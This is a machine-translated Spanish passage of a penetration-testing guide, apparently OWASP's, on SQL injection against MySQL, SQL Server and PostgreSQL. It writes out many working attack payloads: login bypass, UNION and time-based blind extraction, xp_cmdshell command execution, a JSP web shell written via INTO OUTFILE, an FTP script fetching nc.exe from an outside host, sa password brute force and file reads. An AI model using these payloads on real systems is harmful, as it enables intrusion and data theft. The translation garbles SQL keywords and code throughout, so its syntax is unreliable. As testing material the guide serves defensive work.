Desde ahora en , nosotros voluntad asumir eso allá es una inyección SQL clásica vulnerabilidad ,
que puede desencadenarse por una solicitud
similar a aquel descrito en la Sección en Pruebas para inyección SQL .
http://www.example.com/page.php?id=2
Las comillas simples Problema
Antes tomando ventaja de las características de MySQL , se debe tener en cuenta cómo
instrumentos de cuerda podría representarse en un
declaración , ya que a menudo las aplicaciones web escapan de las comillas simples .
cita de MySQL escapando es el siguiente :
'Una cuerda con \' comillas \''
Eso es , MySQL interpreta escapado apóstrofes \' como caracteres y no como metacaracteres .
Entonces , si la aplicación , a trabajar adecuadamente , necesita usar constante cadenas , hay que
diferenciar dos casos :
1. La aplicación web escapa de las comillas simples ' => \'
2. La aplicación web sí no escapar de comillas simples ' => '
Bajo MySQL, hay es una forma estándar para evitar la necesidad de comillas simples , teniendo
una constante cadena ser declarado
sin la necesidad para comillas simples .
vamos suponer nosotros desear a conocer el valor de un campo llamado contraseña en un registro
, con una condición como el siguiente :
255
1. contraseña como un%'
2. Los valores ASCII en un concatenado hexadecimal : contraseña COMO 0x4125
3. La función char ( ) : contraseña LIKE CHAR(65,37)
Múltiple Mezclado Consultas

biblioteca mysql los conectores no apoyo múltiple consultas apartado por ; entonces no hay
manera a inyectar múltiples comandos SQL no homogéneos dentro de una única inyección SQL
vulnerabilidad como en Microsoft SQL Server.
Para ejemplo el siguiente inyección voluntad resulta en un error:
1; actualizar nombre de tabla establecer código =' javascript código ' donde 1 --
Información Reunión
Huellas dactilares MySQL
De Por supuesto , el primero cosa a saber es si hay MySQL DBMS como backend base de datos .
El servidor MySQL tiene una característica. eso es
usado a dejar Otros DBMS ignoran una cláusula en el dialecto MySQL . Cuando un bloque de
comentarios '/**/' contiene un exclamación
marca '/*! SQL aquí es interpretado por MySQL, y es considerado como un bloque de comentarios
normal por otros DBMS como
explicado en el manual de MySQL.
Ejemplo :
1/*! y 1=0 */
Si MySQL es presente , la cláusula Se interpretará el interior del bloque de comentarios .
Versión
Hay tres maneras a ganar este información :
1. Por usando la variable global @@versión
2. Por usando la función VERSIÓN( )
3. Por usando comentario toma de huellas dactilares con una versión número /*!40110 y 1=0*/
cual medio
si ( versión >= 4.1.10)
agregue 'y 1=0' a la consulta .
Estos son equivalentes como resultado es el mismo .
Inyección en banda :
1 Y 1=0 UNION SELECT @@version /*
inferencial inyección :
1 Y @@versión como '4.0%'
La respuesta sería contener algo a las lineas de :

5.0.22-registro
Acceso Usuario
Hay dos tipos de usuarios MySQL Server confía al .
256
1. USUARIO( ): el usuario conectado al servidor MySQL.
2. USUARIO_ACTUAL( ): el interno usuario OMS es ejecutando la consulta .
Allá es alguno diferencia entre 1 y 2. El principal uno es eso un anónimo usuario podría conectar
( si permitido ) con
cualquier nombre , pero el MySQL interno usuario es un vacío nombre (''). Otro diferencia es que
un almacenado procedimiento o un almacenado
La función se ejecuta como creador. usuario , si no declarado en otros lugares . Esto se puede
saber por usando CURRENT_USER .
1 Y 1=0 UNIÓN SELECCIONAR USUARIO( )
1 Y USUARIO( ) como ' % raíz '
La respuesta sería contener algo a las lineas de :
usuario@nombre de host
Base de datos Nombre en uso
Allá es la función nativa BASE DE DATOS( )
1 Y 1=0 SELECCIONAR BASE DE DATOS UNIÓN( )
1 Y BASE DE DATOS( ) como ' db %'
Esperado Resultado , una cadena como este :
nombrebd
INFORMACIÓN_ESQUEMA
Desde MySQL 5.0 una vista llamado INFORMACIÓN_SCHEMA era creado . Él permite a nosotros a
conseguir todo informaciones acerca de
bases de datos , tablas y columnas , así como procedimientos y funciones .
Tablas_en_INFORMACIÓN_ESQUEMA DESCRIPCIÓN
ESQUEMAS Todos bases de datos que el usuario tiene (al menos ) SELECT_priv
SCHEMA_PRIVILEGES Los privilegios que tiene el usuario para cada base de datos
TABLES Todas las tablas que tiene el usuario (al menos ) SELECT_priv
TABLE_PRIVILEGES Los privilegios que tiene el usuario para cada mesa
COLUMNAS Todas columnas que tiene el usuario (al menos ) SELECT_priv
COLUMN_PRIVILEGES Los privilegios que tiene el usuario para cada columna
VISTAS Todo columnas que tiene el usuario (al menos ) SELECT_priv
RUTINAS Procedimientos y funciones ( necesidades ) EXECUTE_priv )
DISPARADORES Disparadores ( necesita INSERTAR_priv )
USER_PRIVILEGES Privilegios conectado El usuario tiene
257
Todo de este información podría ser extraído por usando conocido técnicas como se describen en
Inyección SQL sección .
Ataque Vectores
Escribir en un archivo
Si el conectado El usuario tiene privilegios de ARCHIVO y las comillas simples no son escapó , el
dentro archivo se puede utilizar la cláusula
a exportar consulta da como resultado un archivo.
Seleccione * de la tabla en archivo de salida '/ tmp /archivo'
Nota: hay no hay manera para omitir las comillas simples rodeando un nombre de archivo . Así
que si hay alguno desinfección entre comillas simples
como escapar \' allí no habrá manera para usar el en archivo cláusula .
Este amable de ataque podría usarse como un técnica fuera de banda a ganar información sobre
los resultados de una consulta o a escribir
un archivo que podría ser ejecutado dentro del directorio del servidor web .
Ejemplo :
1 límite 1 en outfile '/ var /www/ root / test.jsp ' CAMPOS ENCERRADOS POR '//' LÍNEAS
TERMINADAS POR '\n<% jsp co
de aquí %>';
Los resultados se almacenan en un archivo con rw-rw-rw privilegios propiedad por usuario y grupo
de MySQL .
Donde / var /www/ root / test.jsp voluntad contener :
// campo valores // <% jsp código aquí %>
Leer desde un archivo
cargar archivo es una función nativa que puede leer un archivo cuando permitido por el sistema de
archivos permisos . Si un conectado usuario
tiene privilegios de ARCHIVO , puede ser usado a obtener el contenido de los archivos . Las
comillas simples pueden escapar de la desinfección mediante omitido por
usando previamente descrito técnicas .
load_file (' nombre de archivo ')
Todo el archivo estará disponible . para exportador por utilizando técnicas estándar .
Inyección SQL estándar Ataque
En una inyección SQL estándar tu puedes tener resultados desplegado directamente en una página
como salida normal o como un error de MySQL. Por
usando ya mencionó la inyección SQL ataques y el ya Características descritas de MySQL ,

inyección directa de SQL podría
ser fácilmente logrado a un nivel profundidad dependiente ante todo en la versión MySQL el
pentester es frente a .
Un bien ataque es a conocer los resultados por forzar una función / procedimiento o el propio
servidor a tirar un error. Una lista de errores
arrojado por MySQL y en particular funciones nativas pudo ser encontrado en el manual MySQL.
Afuera de Inyección SQL de Banda
Afuera de inyección de banda podría lograrse por usando el en archivo cláusula .
Inyección SQL ciega
Para inyección SQL ciega , hay es un conjunto de útil función nativamente proporcionó por el
servidor MySQL.
Cadena Longitud :
LONGITUD ( cadena )
Extraer una subcadena de un determinado cadena :
SUBSTRING( cadena , desplazamiento, #chars_returned)

Basado en el tiempo Ciego Inyección :
258
BENCHMARK y SLEEP BENCHMARK (# de ciclos, acción _a_realizarse) El punto de referencia

función podría
ser usado a realizar ataques de sincronización cuando ciego inyección por booleano valores hace
no producir cualquier resultados . Ver .
DORMIR( ) (MySQL > 5.0.x) para una alternativa en punto de referencia .
Para obtener una lista completa , consulte al manual de MySQL
Herramientas
francisco Larouche : Inyección SQL de múltiples DBMS herramienta
Reversing.org - sqlbftools
muhaimin Dzulfakar : MySqloit , MySql Inyección tomar el control herramienta
Referencias
Libros blancos
Chris Anley : " MySQL a prueba de piratería "
Estudios de caso
Zeelock : Ciego Inyección en Bases de Datos MySQL
259
Pruebas para servidor SQL
Resumen
En esto sección algo de inyección SQL técnicas eso utilizar específico características Se discutirá el
uso de Microsoft SQL Server .
inyección SQL vulnerabilidades ocurrir siempre que la entrada sea utilizado en la construcción de
una consulta SQL sin ser
adecuadamente constreñido o desinfectado . El uso de SQL dinámico (la construcción de consultas

SQL por concatenación de
cuerdas ) abre la puerta a estos vulnerabilidades . inyección SQL permite un agresor a acceder a
los servidores SQL y ejecutar
código SQL bajo los privilegios del usuario usado a conectar a la base de datos .
Como se explica en Inyección SQL , una inyección SQL explotar requiere dos cosas : un entrada
punto , y un explotar a ingresar . Cualquier
controlado por el usuario parámetro eso obtiene procesada por la aplicación podría estar
ocultando una vulnerabilidad . Este incluye :
Solicitud parámetros en consulta cadenas ( por ejemplo , solicitudes GET )
Solicitud parámetros incluido como parte del cuerpo de una solicitud POST
Relacionado con el navegador información ( p. ej ., agente de usuario , referente )
Relacionado con el anfitrión información ( p. ej ., nombre de host , IP)
Relacionado con la sesión información ( p. ej ., ID de usuario , cookies)
El servidor Microsoft SQL tiene algunos único características , por lo que algunas hazañas
necesidad ser especialmente personalizado para este
solicitud .
Cómo Probar
Características del servidor SQL
Para empezar , vamos ver algunos operadores y comandos de SQL Server / almacenados
procedimientos que son útiles en una Inyección SQL
prueba:
comentario operador : -- ( útil para forzando la consulta ignorar el resto parte de la consulta
original ; este no
ser necesario en todos los casos)
consulta separador : ; ( punto y coma )
Útil almacenado procedimientos incluir :
xp_cmdshell ejecuta cualquier dominio shell en el servidor con el mismo permisos eso él es
actualmente en ejecución.
Por defecto, sólo administrador de sistemas es permitido para usarlo y en SQL Server 2005 es
desactivado por defecto ( puede ser
activado de nuevo usando sp_configure )
xp_regread lee un arbitrario valor del Registro ( trámite extendido no documentado )
xp_regwrite escribe un arbitrario valor en el Registro ( procedimiento ampliado no documentado )
sp_makewebtask Genera un comando de Windows shell y pasa en una cadena para ejecución .
Cualquier salida es
devuelto como filas de texto . Él requiere administrador de sistemas privilegios .
xp_sendmail Envía un mensaje de correo electrónico , que puede incluir una consulta adjunto del
conjunto de resultados , al especificado
destinatarios . Este almacenado extendido El procedimiento utiliza SQL Mail para envía el
mensaje .
vamos ver ahora alguno ejemplos de ataques específicos de SQL Server que utilizan lo antes
mencionado funciones . Mayoría de estos
ejemplos usará el ejecutivo función .
Abajo te mostramos como a ejecutar un shell dominio eso escribe la salida del comando dir c:\
inetpub en un
archivo navegable , asumiendo que el servidor web y el servidor de base de datos residan en el
mismo host. La siguiente usos de sintaxis
xp_cmdshell :
ejecutivo master.dbo.xp _cmdshell ' dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
260
Alternativamente , podemos usar sp_makewebtask :
ejecutivo sp_makewebtask 'C:\ Inetpub \ wwwroot \test.txt', ' seleccionar * de

master.dbo.sysobjects '--
Un éxito ejecución voluntad crear un archivo que se pueda explorar por el probador de pluma .
Tenga en cuenta eso sp_makewebtask es
en desuso , e incluso si él funciona en todas las versiones de SQL Server hasta 2005 , podría ser
eliminado en el futuro.
Además , las funciones integradas y las variables de entorno de SQL Server son muy útil . Lo
siguiente utiliza la función
db_ nombre ( ) a desencadenar un error que voluntad devolver el nombre de la base de datos :
/controlboard.asp?boardID=2&itemnum=1%20AND%201= CONVERTIR( int,%20db_name())
Observe el uso de convertir :
CONVERTIR ( tipo de datos [( longitud )], expresión [, estilo ])
CONVERT intentará convertir el resultado de db_name (una cadena ) en un variable entera ,

desencadenante un error, que , si
desplegado por la aplicación vulnerable , contener el nombre de la BD.

La siguiente El ejemplo utiliza la variable de entorno @@ versión, conjunto con un sindicato
seleccionar - estilo inyección , en
orden a encontrar la versión del servidor SQL.
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-
06,1,'stat','nombre1','nombre2',2006-01-
06, 1,@ @versión%20--
Y aquí está lo mismo ataque , pero usando otra vez la conversión truco :
/controlboard.asp?boardID=2&itemnum=1%20AND%201= CONVERTIR( int,%20@@VERSIÓN)
Información reunión es útil para explotar vulnerabilidades de software en el servidor SQL, a través
de la explotación de un
Inyección SQL ataque o directo acceso al oyente SQL .
A continuación mostramos varios ejemplos eso explotar la inyección SQL vulnerabilidades a través
de diferente entrada puntos .
Ejemplo 1: Pruebas para inyección SQL en una solicitud GET
El más simple (y a veces mayoría gratificante ) caso sería que de una página de inicio de sesión que
solicita un nombre de usuario y
contraseña para usuario acceso . Puedes intentar ingresar lo siguiente cadena “' o '1'='1” ( sin
doble citas ):
https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
Si la aplicación es usando consultas SQL dinámicas y la cadena obtiene adjunto al usuario cartas
credenciales validación consulta ,
este puede resultar en un éxito acceso a la aplicación .
Ejemplo 2: Pruebas para inyección SQL en una solicitud GET
En orden a aprender cómo muchos columnas existir
https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL
%201,1,'a',1,1,1%20FROM%20users;--
Ejemplo 3: Prueba en una solicitud POST
Inyección SQL , contenido HTTP POST: correo electrónico =% 27& WhichSubmit = enviar&submit.x
=0& enviar.y =0
ejemplo de publicación completo (https://vulnerable.web.app/forgotpass.asp ):
POST /forgotpass.asp HTTP/1.1
Anfitrión: vulnerable.web.app
[...]
261
Referencia : http://vulnerable.web.app/forgotpass.asp
Contenido- Tipo : aplicación /x-www- formulario - urlencoded
Contenido- Longitud : 50
correo electrónico=%27& WhichSubmit= enviar&submit.x =0& enviar.y =0
El mensaje de error obtenido cuando un carácter '( comilla simple ) es ingresado en el campo de
correo electrónico es :
Proveedor Microsoft OLE DB para el error de SQL Server '80040e14'
No cerrado cotización marca antes del personaje cadena '' '.
/forgotpass.asp, línea 15
Ejemplo 4: todavía Otro ejemplo GET ( útil )
Obtención de la solicitud fuente código
a ' ; master.dbo.xp_cmdshell ' copiar c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\

login.txt';--
Ejemplo 5: ` xp_cmdshell ` personalizado
Todo libros y papeles describiendo la seguridad mejor practicas para SQL Server recomendado
deshabilitar xp_cmdshell en SQL
Server 2000 (en SQL Server 2005 es es desactivado por defecto). Sin embargo , si nosotros tener
administrador de sistemas derechos ( nativamente o por
fuerza bruta al administrador del sistema contraseña , ver a continuación ), a menudo podemos
omitir este limitación .
En SQL Server 2000:
Si xp_cmdshell ha sido desactivado con sp_dropextendedproc , podemos simplemente inyecta lo

siguiente código :
sp_addextendedproc 'xp_cmdshell', 'xp_log70.dll'
si el anterior código hace no trabájalo medio que el xp_log70.dll se ha movido o eliminado . En

este caso nosotros
necesidad a inyecta lo siguiente código :
CREAR PROCEDIMIENTO xp_ cmdshell ( @cmd varchar (255), @Wait int = 0) AS

DECLARAR @result int , @OLEResult int , @RunResult int
DECLARAR @ShellID int
EJECUTAR @OLEResult = sp_OACreate ' WScript.Shell ', @ShellID FUERA
SI @OLEResult <> 0 SELECCIONAR @result = @OLEResult
IF @OLEResult <> 0 RAISERROR (' CrearObjeto %0X', 14, 1, @OLEResult)
EJECUTAR @OLEResult = sp_OAMethod @ShellID, 'Ejecutar', Nulo , @cmd, 0, @Wait
SI @OLEResult <> 0 SELECCIONAR @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Ejecutar %0X', 14, 1, @OLEResult)
EJECUTAR @OLEResult = sp_OADstroy @ShellID
devolver @resultado
Este código , escrito por Antonin Foller ( ver enlaces en la parte inferior de la página), crea un
nuevo xp_cmdshell usando
sp_oacreate , sp_oamethod y sp_oadestroy ( siempre que sean no lo he hecho estado desactivado

también , de curso ). Antes usando
esto nosotros necesidad a eliminar el primero xp_cmdshell nosotros creado ( incluso si él era no
funcionando ), de lo contrario los dos declaraciones voluntad
chocar.
En SQL Server 2005, se puede habilitar xp_cmdshell por inyectando lo siguiente código en cambio :
master.. sp_configure 'mostrar opciones avanzadas ',1
reconfigurar
maestro.. sp_configure 'xp_cmdshell',1
reconfigurar
262
Ejemplo 6: Referidor / Usuario-Agente
El encabezado REFERER establecido en :
Referencia : https://vulnerable.web.app/login.aspx', ' user_agent ', ' some_ip '); [CÓDIGO SQL]--
Permite la ejecución de Código SQL arbitrario . Lo mismo sucede con el User-Agent encabezado
establecido en :
Agente-usuario : agente_usuario ', ' alguna_ip '); [CÓDIGO SQL]--

Ejemplo 7: SQL Server como escáner de puertos
En SQL Server, uno de los más útil (al menos para la penetracion probador ) comandos es
OPENROWSET, que es usado a
ejecutar una consulta en otro servidor de base de datos y recuperar los resultados . la penetracion
El probador puede usar esto. dominio a escanear puertos
de otras máquinas en la red de destino , inyectando lo siguiente consulta :
Seleccionar de
OPENROWSET( 'SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Dirección=xywz,p;timeout=
5','select 1')--
Este consulta voluntad intentar una conexión a la dirección xywz en puerto pág. si el puerto es
cerrado , lo siguiente mensaje será
devuelto :
SQL Server lo hace no existir o acceso denegado
En el otro mano , si el puerto está abierto, uno de los siguientes errores Será devuelto :
general de red . Controlar su red documentación
Se informó el proveedor OLE DB ' sqloledb ' un error. El proveedor hizo no dar cualquier
información sobre el error.
De Por supuesto , el mensaje de error. es no siempre disponible . Si eso es el caso, podemos

utilizar el tiempo de respuesta para entender
qué es yendo encendido : con un cerrado puerto , el tiempo de espera (5 segundos en este
ejemplo ) se consumirá , mientras que un puerto abierto
voluntad devolver el resultado bien lejos .
Tenga en cuenta que OPENROWSET es activado de forma predeterminada en SQL Server 2000
pero deshabilitado en SQL Server 2005.
Ejemplo 8: cargar de Ejecutables
Una vez que podamos usar xp_cmdshell ( ya sea el nativo o una costumbre uno ) , podemos
fácilmente subir ejecutables sobre el
servidor de base de datos de destino. Un muy común elección es netcat.exe, pero cualquier
troyano será útil aquí . Si el objetivo es permitido a
iniciar conexiones FTP a la máquina del probador , todos eso es necesario es a inyecta lo siguiente
consultas :
ejecutivo maestro.. xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
ejecutivo maestro.. xp_cmdshell 'echo USUARIO >> ftpscript.txt';--

ejecutivo maestro.. xp_cmdshell 'echo PASS >> ftpscript.txt';--
ejecutivo maestro.. xp_cmdshell 'echo bin >> ftpscript.txt';--
ejecutivo maestro.. xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
ejecutivo master.. xp_cmdshell 'echo quit >> ftpscript.txt';--
ejecutivo maestro.. xp_cmdshell 'ftp -s:ftpscript.txt';--
En esto En ese momento , nc.exe se cargará y estará disponible .
Si FTP es no permitido por el firewall, nosotros tener una solución eso explota el depurador de
Windows , debug.exe, eso es
instalado de forma predeterminada en todas las máquinas con Windows. Debug.exe es

programable y es capaz a crear un ejecutable por ejecutando
un archivo de script apropiado . Qué nosotros necesidad hacer es a convertir el ejecutable en un

script de depuración ( que es 100% ASCII
Subir archivo línea por línea y finalmente llame a debug.exe en él . Hay varios herramientas eso
crear semejante archivos de depuración ( por ejemplo :
makecr.exe por ollie Whitehouse y dbgtool.exe por herramientacrypt.org) . las consultas a inyectar
voluntad por lo tanto sea el
siguiente :
263
ejecutivo master.. xp_cmdshell 'echo [ línea de script de depuración #1 de n] > debugscript.txt';--
ejecutivo master.. xp_cmdshell 'echo [ línea de script de depuración #2 de n] >> debugscript.txt';--
....
ejecutivo master.. xp_cmdshell 'echo [ línea de script de depuración #n de n] >> debugscript.txt';--
ejecutivo maestro.. xp_cmdshell 'debug.exe < debugscript.txt';--
En esto punto , nuestro ejecutable es disponible en la máquina de destino, listo para ser ejecutado
. hay herramientas eso automatizar este
proceso , la mayoría notablemente gato montés , cual carreras en Windows y Sqlninja , que
carreras en Unix ( consulte las herramientas en el
parte inferior de esta página).
Obtener Información Cuando Él Es No Mostrado ( Fuera de Banda)
No todo es perdido cuando la aplicación web hace no devolver cualquier información , como
mensajes de error descriptivos (cf. Blind
Inyección SQL ). Para ejemplo , es podría suceder eso uno tiene acceso a la fuente código ( por
ejemplo , porque la aplicación web
es basado en un software de código abierto ). Entonces , el probador de penetración puede

explotar toda la inyección SQL vulnerabilidades descubierto
sin conexión en la aplicación web . A pesar de un IPS podría detener algunos de estos ataques , el
mejor forma sería para proceder como
sigue : desarrollar y probar los ataques en un banco de pruebas creado para eso propósito , y
luego ejecutar estos ataques en contra de
Aplicación web ser probado .
Otro opciones para afuera Los ataques de banda se describen en el ejemplo 4 anterior (GET-
Ejemplo ).
Inyección SQL ciega Ataques
Prueba y error
Alternativamente , uno puede jugar afortunado . Eso es el atacante puede asumir eso allá es un
ciego o inyección SQL fuera de banda
Vulnerabilidad en una aplicación web . el lo hará entonces seleccionar un vector de ataque ( p. ej .,

una entrada web ), utilice fuzz vectores contra
este canal y observe la respuesta. Para Por ejemplo , si la aplicación web es mirando para un libro
usando una consulta
seleccionar * de libros dónde título =" texto ingresó por el usuario "
luego la penetracion ensayador podría ingrese el texto : 'Bomba' O 1=1- y si los datos son no
adecuadamente validada , la consulta voluntad ir
a través y devolver el todo lista de libros . Este es evidencia eso allá es una inyección SQL
vulnerabilidad . la penetracion
ensayador podría más tarde jugar con las consultas en orden a evaluar la criticidad de este
vulnerabilidad .
Si Múltiples mensajes de error Desplegado
En el otro mano , si no hay información previa es disponible , hay es todavía una posibilidad de
agresor por explotando cualquier encubierto
canal . Él podría suceder que los mensajes de error descriptivos se detengan , pero los mensajes de
error dar alguno información .
Para ejemplo :
En algunos casos, la aplicación web ( en realidad, el servidor web) puede devolver el tradicional
500: Servidor Interno
Error , decir cuando la solicitud devoluciones un excepción eso podría generarse , por ejemplo ,
mediante una consulta con
no cerrado citas .
Mientras que en otros casos el servidor devolver un mensaje 200 OK , pero la aplicación web
voluntad devolver algún error
mensaje insertado por los desarrolladores Error interno del servidor o malo datos .
Este un poco de información podría ser suficiente a entender cómo la consulta SQL dinámica es
construido por la web
aplicación y afinar un explotar . Otro método fuera de banda es para generar los resultados a
través de archivos navegables HTTP .
Ataques de sincronización
Allá es una posibilidad más para haciendo una inyección SQL ciega ataque cuando allá es
comentarios no visibles del
aplicación : por midiendo el tiempo que la aplicación web acepta a responder una solicitud . Un
ataque de este clasificar es descrito
por anley de donde nosotros toma el siguiente ejemplos . un tipico El enfoque utiliza la espera.
demora comando : vamos decir eso
el atacante quiere a controlar si los pubs muestrean base de datos existe , él lo hará simplemente
inyecta lo siguiente dominio :
si existe ( seleccione * de pubs.. pub_info ) espere retraso '0:0:5'
264
Dependiente en el momento en que la consulta acepta a regresar , nosotros voluntad saber la

respuesta . De hecho , ¿qué nosotros tener aquí es dos cosas :
inyección SQL vulnerabilidad y un encubrimiento canal eso permite la penetración ensayador a

obtener 1 poco de información
para cada consulta . Por lo tanto , utilizando varios consultas ( tantas consultas como bits en el
requerido información ) el pen tester puede
conseguir cualquier dato que está en la base de datos . Mira lo siguiente consulta
declarar @s varchar ( 8000)
declarar @i int
seleccione @s = db_ nombre ( )
seleccione @i = [ algunos valor ]

si ( seleccione len (@s)) < @espero retraso '0:0:5'
Medir el tiempo de respuesta y utilizar diferente valores para @yo , podemos deducir la longitud
del nombre de la corriente
base de datos y luego comenzar a extraer el nombre sí mismo con lo siguiente consulta :
if ( ascii ( subcadena (@s, @byte, 1)) & ( potencia (2, @bit))) > 0 esperar retraso '0:0:5'
Este consulta voluntad esperar durante 5 segundos si bit @bit del byte @byte del nombre de la
corriente base de datos es 1, y será volver a
una vez si él es 0. Anidamiento dos ciclos ( uno para @byte y uno por @ bit) nosotros voluntad
nosotros capaz a extraer el todo pedazo de
información .
De todos modos , eso podría suceder que el comando esperar es no disponible ( por ejemplo ,
porque él es filtrado por una IPS/web
de la aplicación ). Este no significa eso inyección SQL ciega ataques no se puede hacer, ya que el
probador de lápiz debería solo
proponer requiere mucho tiempo operación eso es no filtrado . Para ejemplo
declarar @i int seleccione @i = 0
mientras @i < 0xaffff comienza
seleccione @i = @i + 1
fin
Comprobación para Versión y vulnerabilidades
Se puede utilizar el mismo enfoque de sincronización también a entender cual versión de SQL
Server que estamos tratando con . De curso
nosotros voluntad aproveche la variable @@version incorporada . Considera lo siguiente

consulta :
seleccione @@versión
En SQL Server 2005 , voluntad devolver algo como el siguiente :
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 14 de octubre de 2005 00:33:37
La parte de 2005 de la cuerda abarca desde el carácter 22 al 25 . Por lo tanto , uno consulta a
inyectar puede ser el
siguiente :
si subcadena ( ( seleccione @@versión),25,1) = 5 esperar retraso '0:0:5'

Semejante consulta voluntad espera 5 segundos si el carácter 25 de la variable @@version es 5,
demostración a nosotros eso estamos tratando
con un SQL Server 2005. Si la consulta devoluciones inmediatamente , probablemente estemos

relación comercial con SQL Server 2000, y otro
consulta similar voluntad ayuda a claro todo dudas .
Ejemplo 9: fuerza bruta de administrador de sistemas Contraseña
Para aplicar fuerza bruta al administrador del sistema contraseña , podemos aprovechar el hecho
que OPENROWSET necesita adecuado cartas credenciales a
exitosamente realizar la conexión y que dicha conexión también se puede “ enlazar ” al servidor de
base de datos local. Combinatorio
estos características con un inferido inyección basado En el tiempo de respuesta, podemos

inyectar lo siguiente . código :
seleccione * de OPENROWSET('SQLOLEDB','';' sa ';'< pwd >',' seleccione 1;esperar retraso ''0:0:5'' ')
265
Qué lo hacemos aquí es a intentar una conexión a la base de datos local ( especificada por el vacío
campo después de SQLOLEDB) usando
sa y <pwd> como credenciales . Si la contraseña es correcto y la conexión es exitosa , la consulta es

ejecutado ,
haciendo esperar a la base de datos durante 5 segundos (y también devolviendo un valor , ya que
OPENROWSET espera al menos uno columna ).
Obtener las contraseñas candidatas de una lista de palabras y medir el tiempo necesario para cada
conexión , podemos intentar
a adivina lo correcto contraseña . En “ Minería de datos con inyección e inferencia SQL ”, David
Litchfield empuja este
técnica incluso además , por inyectando una pieza de código en orden a fuerza bruta al
administrador del sistema contraseña usando la CPU
recursos del propio servidor de base de datos .
Una vez que nosotros tener el administrador de sistemas contraseña , nosotros tener dos opciones
:
Inyectar todo siguiente consultas usando OPENROWSET, en orden usar administrador de sistemas
privilegios
Agregar nuestro actual usuario al administrador del sistema grupo usando sp_adsrvrolemember .
La corriente el nombre de usuario se puede extraer
usando inferencia inyección contra la variable system_user .
Recordar que OPENROWSET es accesible a todo usuarios en SQL Server 2000 pero él es restringido
a administrativo
cuentas en SQL Server 2005.
Herramientas
Referencias
Libros blancos
David Litchfield : “ Minería de datos con inyección e inferencia SQL "
Chris Anley , "(más) Inyección SQL avanzada "
Tecnología Unixwiz.net de Steve Friedl Consejos : “ Inyección SQL Ataques por Ejemplo "
Alexander Chigrik : “ Útil indocumentado extendido almacenado procedimientos ”
Antonin Seguidor : “ Personalizado xp_cmdshell , usando caparazón objeto "
Inyección SQL
Cesar Cerrudo : Manipulación de Microsoft SQL Server mediante inyección SQL , carga de archivos,
obtención en interno
red , puerto escaneo , DOS
266
Probando PostgreSQL
Resumen
En esto sección , algo de inyección SQL técnicas para PostgreSQL se discutirá . Estos técnicas tener
lo siguiente
características :
Conector PHP permite múltiple declaraciones ser ejecutado por usando ; como una declaración
separador
Las sentencias SQL se pueden truncar por añadiendo el comentario carbón : -- .
LIMIT y OFFSET se pueden usar en una declaración SELECT a recuperar una porción del conjunto
de resultados generado por el
consulta
Desde ahora en él es ficticio que http://www.example.com/news.php?id=1 es vulnerable a la
inyección SQL ataques .
Cómo Probar
Identificando PostgreSQL
Cuando se ha realizado una inyección SQL te encontré necesidad a con cuidado huella digital del
backend base de datos motor . Puede
determinar que el backend base de datos motor es PostgreSQL por usando el elenco operador .
Ejemplos
http://www.example.com/store.php?id=1 Y 1:: int =1
Además , la función se puede utilizar la versión ( ) a toma el banner de PostgreSQL. Este voluntad
también muestra el subyacente
operando sistema tipo y versión .
Ejemplo
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version (),NULL LIMIT 1

OFFSET 1--
Un ejemplo de una cadena de pancartas eso podría ser devuelto es :
PostgreSQL 8.3.1 en i486-pc-linux-gnu, compilado por GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Ciego Inyección
Para inyección SQL ciega ataques , tu debería llevar en consideración lo siguiente funciones
integradas :
Cadena Longitud LONGITUD ( cadena )
Extraer una subcadena de un determinado cadena SUBSTR( cadena,índice,desplazamiento )
Cadena representación sin comillas simples CDH( 104)||CDH(101)||CDH(108)||CDH(108)||

CDH(111)
A partir de la versión 8.2, PostgreSQL introdujo una función incorporada , pg_sleep ( n ). a hacer la
corriente sesión proceso
dormir durante n segundos . Este La función se puede aprovechar. a ejecutar ataques de

sincronización ( discutidos en detalle en Blind SQL
Inyección ).
Además , puedes fácilmente crear una costumbre pg_sleep (n) en anterior versiones por usando
libc :
función CREAR pg_sleep ( int ) DEVUELVE int AS '/ lib /libc.so.6', ' sleep ' IDIOMA 'C' ESTRICTO
Una frase escapar
Las cadenas se pueden codificar para evitar comillas simples escapando , por usando Función chr
().
267
chr (n ): Devuelve el personaje cuyo valor ASCII corresponde al número n
ascii (n ): Devuelve el valor ASCII cual corresponde al personaje m
vamos decir tú desear a codifica la cadena ' raíz ':
seleccionar ascii ('r')
114
seleccionar ascii ('o')
111
seleccionar ascii ('t')
116
Podemos codificar ' root ' como:
chr ( 114)| | chr (111)|| chr (111)|| crono (116)
Ejemplo
http://www.example.com/store.php?id=1; ACTUALIZAR usuarios ESTABLECER CONTRASEÑA= chr (

114)| | chr (111)|| chr (111)|| crono (116)-
Ataque Vectores
Actual Usuario
La identidad de la corriente el usuario puede ser recuperado con las siguientes sentencias SELECT
de SQL :
SELECCIONAR usuario
SELECCIONE usuario_actual
SELECCIONE usuario_sesión
SELECCIONE el nombre de uso DE pg_user
SELECCIONE getpgusername ( )
Ejemplo
http://www.example.com/store.php?id=1 UNION ALL SELECT usuario, NULL , NULL -
http://www.example.com/store.php?id=1 UNION ALL SELECT usuario_actual , NULL, NULL--
Actual Base de datos
La función incorporada base de datos actual ( ) devuelve la base de datos actual base de datos
nombre .
Ejemplo
http://www.example.com/store.php?id=1 UNION ALL SELECT base de datos_actual

( ),NULL,NULL--
Lectura de un archivo
PostgreSQL proporciona dos maneras a acceder a un archivo local:
COPIAR declaración
pg_read_ archivo ( ) interno función ( a partir de PostgreSQL 8.1)
COPIAR
Este El operador copia datos entre un archivo y una tabla. El motor PostgreSQL accede al sistema
de archivos local como
postgres usuario .
Ejemplo
268
/ store.php?id =1; CREAR TABLA file_store ( id de serie, texto de datos )--
/ store.php?id =1; COPIAR file_store (datos) DESDE '/ var / lib / postgresql /. psql _history '--
Se deben recuperar los datos por realizando una inyección SQL de consulta UNION :
recupera el numero de filas previamente añadido en file_store con declaración COPIA
recupera una fila a la vez con UNION SQL Inyección
